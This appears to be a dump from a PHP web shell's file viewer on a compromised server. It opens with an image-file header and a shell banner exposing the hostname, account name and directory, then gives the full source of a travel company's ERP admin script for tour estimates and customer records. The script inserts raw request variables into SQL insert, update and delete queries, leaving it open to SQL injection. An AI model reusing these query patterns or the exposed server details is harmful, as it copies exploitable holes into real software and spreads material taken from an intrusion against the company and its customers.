ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/erp/ |
Upload File : |
<?php session_start(); ini_set('max_inputs_vars',50000); ini_set("session.cookie_lifetime", "86400"); ini_set("session.cache_expire", "86400"); ini_set("session.gc_maxlifetime", "86400"); include "../include/top_proc.html"; include "_common_yeonsung.html"; //echo '<pre>'; //var_dump($_POST); //echo '</pre>'; //exit; if($SqlType == "res_ins" ) { //total금액 /* $deposit = str_replace(",", "", $deposit); $balance = str_replace(",", "", $balance); $total_price = (int)$deposit + (int)$balance; */ $included = addslashes($included); $non_included = addslashes($non_included); $notice = addslashes($notice); //언어구분&환율정보&total_price_won if($currency=="HKD") $lang = "hk"; elseif($currency=="CNY") $lang = "cn"; elseif($currency=="USD") $lang = "en"; elseif($currency=="₩") {$lang = "ko";$to_krw=1;$total_price_won=$total_price;} if($currency!='ko') { $to_krw = to_per_krw("",$lang); //환율 $total_price_won = round($total_price * $to_krw); } $memberSeq = $_SESSION['seq']; //견적서 기본내용 저장 $sql = "insert into TB_ERP_ALL_YEONSUNG set "; $sql .= " attn='{$attn}', "; $sql .= " MEMBER_SEQ = {$memberSeq}, "; $sql .= " admin_nm='{$admin_nm}', "; $sql .= " charger='{$charger}', "; $sql .= " good_name='{$good_name}', "; $sql .= " start_date='{$start_date}', "; $sql .= " end_date='{$end_date}', "; $sql .= " periods='{$period_str}', "; $sql .= " hotel_name='{$hotel_name}', "; $sql .= " car_info='{$car_info}', "; $sql .= " res_name='{$res_name}', "; $sql .= " res_nationality='{$res_nationality}', "; $sql .= " currency='{$currency}', "; $sql .= " deposit='{$deposit}', "; $sql .= " fee_rate='{$fee_rate}', "; $sql .= " surtax_rate='{$surtax_rate}', "; $sql .= " res_phone='{$res_phone}', "; $sql .= " res_email='{$res_email}', "; $sql .= " air_fee='{$air_fee}', "; $sql .= " balance='{$balance}', "; $sql .= " total_price='{$total_price}', "; $sql .= " total_price_won='{$total_price_won}', "; $sql .= " hwan='{$to_krw}', "; $sql .= " lang='{$lang}', "; $sql .= " num_adult='{$num_adult}', "; $sql .= " num_child='{$num_child}', "; $sql .= " num_foc='{$num_foc}', "; $sql .= " included='{$included}', "; $sql .= " non_included='{$non_included}', "; $sql .= " remarks='{$notice}', "; //$sql .= " date_payment='{$date_payment}', "; $sql .= " state='{$state}', "; //$sql .= " pay_state='{$pay_state}', "; $sql .= " regdate = now()"; if(devCookie()){ p($sql); exit; } $result = db_query($sql); // DB if($result) $last_id = mysqli_insert_id($connect); // DB //견적서 일자정보 저장 $total_buy_price = 0; //입금합계 $total_sell_price = 0; //판매합계 for($j=1;$j<=count($date_num_arr);$j++) { for($k=0;$k<15;$k++) { if(!${"day".$j."_buy_arr"}[$k]) ${"day".$j."_buy_arr"}[$k] = "0"; if(!${"day".$j."_sell_arr"}[$k]) ${"day".$j."_sell_arr"}[$k] = "0"; if(!${"hotel".$j."_buy_arr"}[$k]) ${"hotel".$j."_buy_arr"}[$k] = "0"; if(!${"hotel".$j."_sell_arr"}[$k]) ${"hotel".$j."_sell_arr"}[$k] = "0"; //가격 comma 제거 ${"day".$j."_buy_arr"}[$k]= str_replace(",","",${"day".$j."_buy_arr"}[$k]); ${"day".$j."_sell_arr"}[$k]= str_replace(",","",${"day".$j."_sell_arr"}[$k]); ${"hotel".$j."_buy_arr"}[$k]= str_replace(",","",${"hotel".$j."_buy_arr"}[$k]); ${"hotel".$j."_sell_arr"}[$k]= str_replace(",","",${"hotel".$j."_sell_arr"}[$k]); ${"day".$j."_content"} .= ${"day".$j."_place_arr"}[$k] . "::" . ${"day".$j."_time_start_arr"}[$k] . "::" . ${"day".$j."_time_end_arr"}[$k] . "::" . ${"day".$j."_info_arr"}[$k] . "::" . ${"day".$j."_food_arr"}[$k]. "::" . ${"day".$j."_item_arr"}[$k] . "::" . ${"day".$j."_supply_arr"}[$k] . "::" . ${"day".$j."_count_arr"}[$k] . "::" . ${"day".$j."_buy_arr"}[$k] . "::" . ${"day".$j."_sell_arr"}[$k] . "^^"; if(${"hotel".$j."_info_arr"}[$k]) { ${"hotel".$j."_content"} .= ${"hotel".$j."_info_arr"}[$k] . "::" . ${"hotel".$j."_item_arr"}[$k] . "::" . ${"hotel".$j."_buy_arr"}[$k] . "::" . ${"hotel".$j."_sell_arr"}[$k] . "^^"; } //입금합계 if(!${"day".$j."_buy_arr"}[$k]) ${"day".$j."_buy_arr"}[$k] = 0; if(!${"hotel".$j."_buy_arr"}[$k]) ${"hotel".$j."_buy_arr"}[$k] = 0; $total_buy_price += ${"day".$j."_buy_arr"}[$k]; $total_buy_price += ${"hotel".$j."_buy_arr"}[$k]; //판매합계 if(!${"day".$j."_sell_arr"}[$k]) ${"day".$j."_sell_arr"}[$k] = 0; if(!${"hotel".$j."_sell_arr"}[$k]) ${"hotel".$j."_sell_arr"}[$k] = 0; $total_sell_price += ${"day".$j."_sell_arr"}[$k]; $total_sell_price += ${"hotel".$j."_sell_arr"}[$k]; } } //비고 $remarks = addslashes($remarks); //견적서 기본내용 저장 if(count($date_num_arr) > 0) { //언어구분&환율정보&total_price_won if($currency=="HKD") $lang = "hk"; elseif($currency=="CNY") $lang = "cn"; elseif($currency=="USD") $lang = "en"; elseif($currency=="₩") {$lang = "ko";$to_krw=1;} if($currency!='ko') { $to_krw = to_per_krw("",$lang); //환율 } if(!$a_idx) $a_idx = $last_id; $sql = "insert into TB_ERP_ESTIMATE_YEONSUNG set "; $sql .= " a_idx='{$a_idx}', "; if($day1) { $sql .= " day1_date='{$day1}', "; $sql .= " day1_info='{$day1_content}', "; $sql .= " day1_hotel_info='{$hotel1_content}', "; } if($day2) { $sql .= " day2_date='{$day2}', "; $sql .= " day2_info='{$day2_content}', "; $sql .= " day2_hotel_info='{$hotel2_content}', "; } if($day3) { $sql .= " day3_date='{$day3}', "; $sql .= " day3_info='{$day3_content}', "; $sql .= " day3_hotel_info='{$hotel3_content}', "; } if($day4) { $sql .= " day4_date='{$day4}', "; $sql .= " day4_info='{$day4_content}', "; $sql .= " day4_hotel_info='{$hotel4_content}', "; } if($day5) { $sql .= " day5_date='{$day5}', "; $sql .= " day5_info='{$day5_content}', "; $sql .= " day5_hotel_info='{$hotel5_content}', "; } if($day6) { $sql .= " day6_date='{$day6}', "; $sql .= " day6_info='{$day6_content}', "; $sql .= " day6_hotel_info='{$hotel6_content}', "; } if($day7) { $sql .= " day7_date='{$day7}', "; $sql .= " day7_info='{$day7_content}', "; $sql .= " day7_hotel_info='{$hotel7_content}', "; } if($day8) { $sql .= " day8_date='{$day8}', "; $sql .= " day8_info='{$day8_content}', "; $sql .= " day8_hotel_info='{$hotel8_content}', "; } if($day9) { $sql .= " day9_date='{$day9}', "; $sql .= " day9_info='{$day9_content}', "; $sql .= " day9_hotel_info='{$hotel9_content}', "; } if($day10) { $sql .= " day10_date='{$day10}', "; $sql .= " day10_info='{$day10_content}', "; $sql .= " day10_hotel_info='{$hotel10_content}', "; } if($day11) { $sql .= " day11_date='{$day11}', "; $sql .= " day11_info='{$day11_content}', "; $sql .= " day11_hotel_info='{$hotel11_content}', "; } if($day12) { $sql .= " day12_date='{$day12}', "; $sql .= " day12_info='{$day12_content}', "; $sql .= " day12_hotel_info='{$hotel12_content}', "; } if($day13) { $sql .= " day13_date='{$day13}', "; $sql .= " day13_info='{$day13_content}', "; $sql .= " day13_hotel_info='{$hotel13_content}', "; } if($day14) { $sql .= " day14_date='{$day14}', "; $sql .= " day14_info='{$day14_content}', "; $sql .= " day14_hotel_info='{$hotel14_content}', "; } if($day15) { $sql .= " day15_date='{$day15}', "; $sql .= " day15_info='{$day15_content}', "; $sql .= " day15_hotel_info='{$hotel15_content}', "; } $sql .= " currency='{$currency}', "; $sql .= " remark='{$remarks}', "; $sql .= " total_buy_price='{$total_buy_price}', "; $sql .= " total_sell_price='{$total_sell_price}', "; $sql .= " hwan='{$to_krw}', "; $sql .= " lang='{$lang}', "; $sql .= " pub_date=now(), "; $sql .= " regdate = now()"; db_query($sql); // DB } //date_num_arr 有 // 버스정산 함께 등록 시 업데이트 if($x_idx){ $sql = "update TB_ERP_BUS_YEONSUNG set a_idx='{$a_idx}' where a_idx='{$x_idx}'"; db_query($sql); } echo "<script>location.href='/toadmin/erp/erp_list_yeonsung.html?a_idx={$a_idx}".$_rhref."';</script>"; // error_msg("location.href='/toadmin/erp/edit_estimate_yeonsung.html.htm?a_idx={$a_idx}'","script"); exit; } elseif($SqlType == "res_update" ) { //total금액 /* $deposit = str_replace(",", "", $deposit); $balance = str_replace(",", "", $balance); $total_price = (int)$deposit + (int)$balance; */ $included = addslashes($included); $non_included = addslashes($non_included); $notice = addslashes($notice); //언어구분&환율정보&total_price_won if($currency=="HKD") $lang = "hk"; elseif($currency=="CNY") $lang = "cn"; elseif($currency=="USD") $lang = "en"; elseif($currency=="₩") {$lang = "ko";$to_krw=1;$total_price_won=$total_price;} if($currency!='ko') { $to_krw = to_per_krw("",$lang); //환율 $total_price_won = round($total_price * $to_krw); } $sql = "update TB_ERP_ALL_YEONSUNG set "; $sql .= " attn='{$attn}', "; $sql .= " admin_nm='{$admin_nm}', "; $sql .= " charger='{$charger}', "; $sql .= " good_name='{$good_name}', "; $sql .= " start_date='{$start_date}', "; $sql .= " end_date='{$end_date}', "; $sql .= " periods='{$period_str}', "; $sql .= " hotel_name='{$hotel_name}', "; $sql .= " car_info='{$car_info}', "; $sql .= " res_name='{$res_name}', "; $sql .= " res_nationality='{$res_nationality}', "; $sql .= " currency='{$currency}', "; $sql .= " deposit='{$deposit}', "; $sql .= " fee_rate='{$fee_rate}', "; $sql .= " surtax_rate='{$surtax_rate}', "; $sql .= " res_phone='{$res_phone}', "; $sql .= " res_email='{$res_email}', "; $sql .= " balance='{$balance}', "; $sql .= " total_price='{$total_price}', "; $sql .= " total_price_won='{$total_price_won}', "; $sql .= " lang='{$lang}', "; $sql .= " hwan='{$to_krw}', "; $sql .= " num_adult='{$num_adult}', "; $sql .= " num_child='{$num_child}', "; $sql .= " num_foc='{$num_foc}', "; $sql .= " included='{$included}', "; $sql .= " non_included='{$non_included}', "; $sql .= " remarks='{$notice}', "; $sql .= " date_payment='{$date_payment}', "; $sql .= " state='{$state}' "; //$sql .= " pay_state='{$pay_state}' "; $sql .= " where a_idx='{$a_idx}'"; db_query($sql); if($e_idx) { //생성일자정보 수정 //견적서 일자정보 저장 $total_buy_price = 0; //입금합계 $total_sell_price = 0; //판매합계 for($j=1;$j<=count($date_num_arr);$j++) { for($k=0;$k<15;$k++) { if(!${"day".$j."_buy_arr"}[$k]) ${"day".$j."_buy_arr"}[$k] = "0"; if(!${"day".$j."_sell_arr"}[$k]) ${"day".$j."_sell_arr"}[$k] = "0"; if(!${"hotel".$j."_buy_arr"}[$k]) ${"hotel".$j."_buy_arr"}[$k] = "0"; if(!${"hotel".$j."_sell_arr"}[$k]) ${"hotel".$j."_sell_arr"}[$k] = "0"; //가격 comma 제거 ${"day".$j."_buy_arr"}[$k]= str_replace(",","",${"day".$j."_buy_arr"}[$k]); ${"day".$j."_sell_arr"}[$k]= str_replace(",","",${"day".$j."_sell_arr"}[$k]); ${"hotel".$j."_buy_arr"}[$k]= str_replace(",","",${"hotel".$j."_buy_arr"}[$k]); ${"hotel".$j."_sell_arr"}[$k]= str_replace(",","",${"hotel".$j."_sell_arr"}[$k]); ${"day".$j."_content"} .= ${"day".$j."_place_arr"}[$k] . "::" . ${"day".$j."_time_start_arr"}[$k] . "::" . ${"day".$j."_time_end_arr"}[$k] . "::" . ${"day".$j."_info_arr"}[$k] . "::" . ${"day".$j."_food_arr"}[$k] . "::" . ${"day".$j."_item_arr"}[$k] . "::" . ${"day".$j."_supply_arr"}[$k] . "::" . ${"day".$j."_count_arr"}[$k] . "::" . ${"day".$j."_buy_arr"}[$k] . "::" . ${"day".$j."_sell_arr"}[$k] . "^^"; if(${"hotel".$j."_info_arr"}[$k]) { ${"hotel".$j."_content"} .= ${"hotel".$j."_info_arr"}[$k] . "::" . ${"hotel".$j."_item_arr"}[$k] . "::" . ${"hotel".$j."_buy_arr"}[$k] . "::" . ${"hotel".$j."_sell_arr"}[$k] . "^^"; } //입금합계 if(!${"day".$j."_buy_arr"}[$k]) ${"day".$j."_buy_arr"}[$k] = 0; if(!${"hotel".$j."_buy_arr"}[$k]) ${"hotel".$j."_buy_arr"}[$k] = 0; $total_buy_price += ${"day".$j."_buy_arr"}[$k]; $total_buy_price += ${"hotel".$j."_buy_arr"}[$k]; //판매합계 if(!${"day".$j."_sell_arr"}[$k]) ${"day".$j."_sell_arr"}[$k] = 0; if(!${"hotel".$j."_sell_arr"}[$k]) ${"hotel".$j."_sell_arr"}[$k] = 0; $total_sell_price += ${"day".$j."_sell_arr"}[$k]; $total_sell_price += ${"hotel".$j."_sell_arr"}[$k]; } } //비고 $remarks = addslashes($remarks); if(count($date_num_arr) > 0) { //언어구분&환율정보&total_price_won if($currency=="HKD") $lang = "hk"; elseif($currency=="CNY") $lang = "cn"; elseif($currency=="USD") $lang = "en"; elseif($currency=="₩") {$lang = "ko";$to_krw=1;} if($currency!='ko') { $to_krw = to_per_krw("",$lang); //환율 } //견적서 기본내용 수정 $sql = "update TB_ERP_ESTIMATE_YEONSUNG set "; //$sql .= " a_idx='{$a_idx}', "; if($day1) { $sql .= " day1_date='{$day1}', "; $sql .= " day1_info='{$day1_content}', "; $sql .= " day1_hotel_info='{$hotel1_content}', "; } if($day2) { $sql .= " day2_date='{$day2}', "; $sql .= " day2_info='{$day2_content}', "; $sql .= " day2_hotel_info='{$hotel2_content}', "; } if($day3) { $sql .= " day3_date='{$day3}', "; $sql .= " day3_info='{$day3_content}', "; $sql .= " day3_hotel_info='{$hotel3_content}', "; } if($day4) { $sql .= " day4_date='{$day4}', "; $sql .= " day4_info='{$day4_content}', "; $sql .= " day4_hotel_info='{$hotel4_content}', "; } if($day5) { $sql .= " day5_date='{$day5}', "; $sql .= " day5_info='{$day5_content}', "; $sql .= " day5_hotel_info='{$hotel5_content}', "; } if($day6) { $sql .= " day6_date='{$day6}', "; $sql .= " day6_info='{$day6_content}', "; $sql .= " day6_hotel_info='{$hotel6_content}', "; } if($day7) { $sql .= " day7_date='{$day7}', "; $sql .= " day7_info='{$day7_content}', "; $sql .= " day7_hotel_info='{$hotel7_content}', "; } if($day8) { $sql .= " day8_date='{$day8}', "; $sql .= " day8_info='{$day8_content}', "; $sql .= " day8_hotel_info='{$hotel8_content}', "; } if($day9) { $sql .= " day9_date='{$day9}', "; $sql .= " day9_info='{$day9_content}', "; $sql .= " day9_hotel_info='{$hotel9_content}', "; } if($day10) { $sql .= " day10_date='{$day10}', "; $sql .= " day10_info='{$day10_content}', "; $sql .= " day10_hotel_info='{$hotel10_content}', "; } if($day11) { $sql .= " day11_date='{$day11}', "; $sql .= " day11_info='{$day11_content}', "; $sql .= " day11_hotel_info='{$hotel11_content}', "; } if($day12) { $sql .= " day12_date='{$day12}', "; $sql .= " day12_info='{$day12_content}', "; $sql .= " day12_hotel_info='{$hotel12_content}', "; } if($day13) { $sql .= " day13_date='{$day13}', "; $sql .= " day13_info='{$day13_content}', "; $sql .= " day13_hotel_info='{$hotel13_content}', "; } if($day14) { $sql .= " day14_date='{$day14}', "; $sql .= " day14_info='{$day14_content}', "; $sql .= " day14_hotel_info='{$hotel14_content}', "; } if($day15) { $sql .= " day15_date='{$day15}', "; $sql .= " day15_info='{$day15_content}', "; $sql .= " day15_hotel_info='{$hotel15_content}', "; } $sql .= " currency='{$currency}', "; $sql .= " hwan='{$to_krw}', "; $sql .= " lang='{$lang}', "; $sql .= " remark='$remarks', "; $sql .= " total_buy_price='$total_buy_price', "; $sql .= " total_sell_price='$total_sell_price' "; $sql .= " where e_idx='{$e_idx}' "; //$sql .= " pub_date=now(), "; //$sql .= " regdate = now()"; db_query($sql); } } else { //생성일자정보 입력 //견적서 일자정보 저장 $total_buy_price = 0; //입금합계 $total_sell_price = 0; //판매합계 for($j=1;$j<=count($date_num_arr);$j++) { for($k=0;$k<15;$k++) { if(!${"day".$j."_buy_arr"}[$k]) ${"day".$j."_buy_arr"}[$k] = "0"; if(!${"day".$j."_sell_arr"}[$k]) ${"day".$j."_sell_arr"}[$k] = "0"; if(!${"hotel".$j."_buy_arr"}[$k]) ${"hotel".$j."_buy_arr"}[$k] = "0"; if(!${"hotel".$j."_sell_arr"}[$k]) ${"hotel".$j."_sell_arr"}[$k] = "0"; //가격 comma 제거 ${"day".$j."_buy_arr"}[$k]= str_replace(",","",${"day".$j."_buy_arr"}[$k]); ${"day".$j."_sell_arr"}[$k]= str_replace(",","",${"day".$j."_sell_arr"}[$k]); ${"hotel".$j."_buy_arr"}[$k]= str_replace(",","",${"hotel".$j."_buy_arr"}[$k]); ${"hotel".$j."_sell_arr"}[$k]= str_replace(",","",${"hotel".$j."_sell_arr"}[$k]); ${"day".$j."_content"} .= ${"day".$j."_place_arr"}[$k] . "::" . ${"day".$j."_time_start_arr"}[$k] . "::" . ${"day".$j."_time_end_arr"}[$k] . "::" . ${"day".$j."_info_arr"}[$k] . "::" . ${"day".$j."_food_arr"}[$k] . "::" . ${"day".$j."_item_arr"}[$k] . "::" . ${"day".$j."_supply_arr"}[$k] . "::" . ${"day".$j."_count_arr"}[$k] . "::" . ${"day".$j."_buy_arr"}[$k] . "::" . ${"day".$j."_sell_arr"}[$k] . "^^"; if(${"hotel".$j."_info_arr"}[$k]) { ${"hotel".$j."_content"} .= ${"hotel".$j."_info_arr"}[$k] . "::" . ${"hotel".$j."_item_arr"}[$k] . "::" . ${"hotel".$j."_buy_arr"}[$k] . "::" . ${"hotel".$j."_sell_arr"}[$k] . "^^"; } //입금합계 if(!${"day".$j."_buy_arr"}[$k]) ${"day".$j."_buy_arr"}[$k] = 0; if(!${"hotel".$j."_buy_arr"}[$k]) ${"hotel".$j."_buy_arr"}[$k] = 0; $total_buy_price += ${"day".$j."_buy_arr"}[$k]; $total_buy_price += ${"hotel".$j."_buy_arr"}[$k]; //판매합계 if(!${"day".$j."_sell_arr"}[$k]) ${"day".$j."_sell_arr"}[$k] = 0; if(!${"hotel".$j."_sell_arr"}[$k]) ${"hotel".$j."_sell_arr"}[$k] = 0; $total_sell_price += ${"day".$j."_sell_arr"}[$k]; $total_sell_price += ${"hotel".$j."_sell_arr"}[$k]; } } //비고 $remarks = addslashes($remarks); if(count($date_num_arr) > 0) { //언어구분&환율정보&total_price_won if($currency=="HKD") $lang = "hk"; elseif($currency=="CNY") $lang = "cn"; elseif($currency=="USD") $lang = "en"; elseif($currency=="₩") {$lang = "ko";$to_krw=1;} if($currency!='ko') { $to_krw = to_per_krw("",$lang); //환율 } //견적서 기본내용 저장 $sql = "insert into TB_ERP_ESTIMATE_YEONSUNG set "; $sql .= " a_idx='{$a_idx}', "; if($day1) { $sql .= " day1_date='{$day1}', "; $sql .= " day1_info='{$day1_content}', "; $sql .= " day1_hotel_info='{$hotel1_content}', "; } if($day2) { $sql .= " day2_date='{$day2}', "; $sql .= " day2_info='{$day2_content}', "; $sql .= " day2_hotel_info='{$hotel2_content}', "; } if($day3) { $sql .= " day3_date='{$day3}', "; $sql .= " day3_info='{$day3_content}', "; $sql .= " day3_hotel_info='{$hotel3_content}', "; } if($day4) { $sql .= " day4_date='{$day4}', "; $sql .= " day4_info='{$day4_content}', "; $sql .= " day4_hotel_info='{$hotel4_content}', "; } if($day5) { $sql .= " day5_date='{$day5}', "; $sql .= " day5_info='{$day5_content}', "; $sql .= " day5_hotel_info='{$hotel5_content}', "; } if($day6) { $sql .= " day6_date='{$day6}', "; $sql .= " day6_info='{$day6_content}', "; $sql .= " day6_hotel_info='{$hotel6_content}', "; } if($day7) { $sql .= " day7_date='{$day7}', "; $sql .= " day7_info='{$day7_content}', "; $sql .= " day7_hotel_info='{$hotel7_content}', "; } if($day8) { $sql .= " day8_date='{$day8}', "; $sql .= " day8_info='{$day8_content}', "; $sql .= " day8_hotel_info='{$hotel8_content}', "; } if($day9) { $sql .= " day9_date='{$day9}', "; $sql .= " day9_info='{$day9_content}', "; $sql .= " day9_hotel_info='{$hotel9_content}', "; } if($day10) { $sql .= " day10_date='{$day10}', "; $sql .= " day10_info='{$day10_content}', "; $sql .= " day10_hotel_info='{$hotel10_content}', "; } if($day11) { $sql .= " day11_date='{$day11}', "; $sql .= " day11_info='{$day11_content}', "; $sql .= " day11_hotel_info='{$hotel11_content}', "; } if($day12) { $sql .= " day12_date='{$day12}', "; $sql .= " day12_info='{$day12_content}', "; $sql .= " day12_hotel_info='{$hotel12_content}', "; } if($day13) { $sql .= " day13_date='{$day13}', "; $sql .= " day13_info='{$day13_content}', "; $sql .= " day13_hotel_info='{$hotel13_content}', "; } if($day14) { $sql .= " day14_date='{$day14}', "; $sql .= " day14_info='{$day14_content}', "; $sql .= " day14_hotel_info='{$hotel14_content}', "; } if($day15) { $sql .= " day15_date='{$day15}', "; $sql .= " day15_info='{$day15_content}', "; $sql .= " day15_hotel_info='{$hotel15_content}', "; } $sql .= " currency='$currency', "; $sql .= " hwan='{$to_krw}', "; $sql .= " lang='{$lang}', "; $sql .= " remark='$remarks', "; $sql .= " total_buy_price='$total_buy_price', "; $sql .= " total_sell_price='$total_sell_price', "; $sql .= " pub_date = now(), "; $sql .= " regdate = now()"; db_query($sql); } } // echo "<script>location.href='/toadmin/erp/erp_list_yeonsung.html?a_idx={$a_idx}&e_idx={$e_idx}';</script>"; echo "<script>location.href='/toadmin/erp/edit_estimate_yeonsung.php?a_idx={$a_idx}".$_rhref."';</script>"; } // 견적서 수정 - 고객리스트 elseif($SqlType == "customer_update" ) { if($a_idx == '') exit; // 행사 정보 입력 $sql = "update TB_ERP_ALL_YEONSUNG set "; $sql .= " customer_guide='{$customer_guide}', "; $sql .= " customer_driver='{$customer_driver}', "; $sql .= " customer_carinfo='{$customer_carinfo}' "; $sql .= " where a_idx='{$a_idx}' limit 1"; db_query($sql); // 고객 정보 $sql2 = "delete from TB_ERP_CUSTOMER_YEONSUNG where a_idx='{$a_idx}'"; db_query($sql2); foreach($c_idx as $k => $v){ if($cus_nm[$k]){ $sql3 = "insert into TB_ERP_CUSTOMER_YEONSUNG set "; $sql3 .= " a_idx='{$a_idx}', "; $sql3 .= " cus_nm='{$cus_nm[$k]}', "; $sql3 .= " cus_nat='{$cus_nat[$k]}', "; $sql3 .= " cus_gend='{$cus_gend[$k]}', "; $sql3 .= " cus_age='{$cus_age[$k]}', "; $sql3 .= " cus_phone='{$cus_phone[$k]}', "; $sql3 .= " cus_depot='{$cus_depot[$k]}', "; $sql3 .= " cus_roomtype='{$cus_roomtype[$k]}', "; $sql3 .= " cus_roomnum='{$cus_roomnum[$k]}', "; $sql3 .= " cus_route='{$cus_route[$k]}', "; $sql3 .= " memo='{$memo[$k]}', "; $sql3 .= " ins_dt=now(), "; $sql3 .= " ins_id='{$TO_MB['mb_id']}';"; db_query($sql3); } } echo "<script>location.href='/toadmin/erp/erp_list_yeonsung.html?a_idx={$a_idx}';</script>"; } // 상품 메모 변경 elseif($SqlType == "memo_ins"){ for($i=0;$i<count($a_idx_arr);$i++) { $a_idx = $a_idx_arr[$i]; $g_memo = $g_memo_arr[$i]; $sql ="update TB_ERP_ALL_YEONSUNG set g_memo='{$g_memo}' where a_idx='{$a_idx}' "; db_query($sql); } echo "<script>location.href='/toadmin/erp/erp_list_yeonsung.html?s=1".$_rhref."';</script>"; } // 상품 order_state 변경 elseif($SqlType == "update_order"){ foreach($res_no_arr as $res_no) { $sql ="update TB_ERP_ALL_YEONSUNG set state='{$order_state}' where a_idx='{$res_no}' "; echo $sql; db_query($sql); } echo "<script>location.href='erp_list_yeonsung.php?s=1".$_rhref."';</script>"; } // 상품 삭제 elseif($SqlType == "del_order"){ foreach($res_no_arr as $res_no) { $sql ="delete from TB_ERP_ALL_YEONSUNG where a_idx='{$res_no}' "; echo $sql; db_query($sql); } echo "<script>location.href='erp_list_yeonsung.php?s=1".$_rhref."';</script>"; } else if($SqlType == 'send_erp'){ $a_idx = (int) $a_idx; if($a_idx){ $sql = "UPDATE TB_ERP_ALL_YEONSUNG SET send_status ='Y' WHERE a_idx='{$a_idx}'"; db_query($sql); $memberSeq = $_SESSION['seq']; $sql = "INSERT INTO STUDENT_REPORT_YEONSUNG SET "; $sql .= "REPORT_TYPE = 'ERP', "; $sql .= "MEMBER_SEQ = {$memberSeq}, "; $sql .= "REPORT_SEQ = {$a_idx}, "; $sql .= "REPORT_STATUS = 'A', "; //미확인 A, 반려 B, 완료 C $sql .= "regdate = now() "; db_query($sql); //pdf 파일 생성 // $mode = 'serverSave'; // include $_SERVER['DOCUMENT_ROOT'].'/toadmin/TCPDF/erp/pdf_estimate_yeonsung.php'; } echo "<script>location.href='/toadmin/erp/erp_list_yeonsung.html'</script>"; } else if($SqlType == 'delete_erp'){ $a_idx = (int) $a_idx; if($a_idx){ $sql = "DELETE FROM TB_ERP_ALL_YEONSUNG WHERE a_idx='{$a_idx}'"; db_query($sql); } echo "<script>location.href='/toadmin/erp/erp_list_yeonsung.html'</script>"; } ?>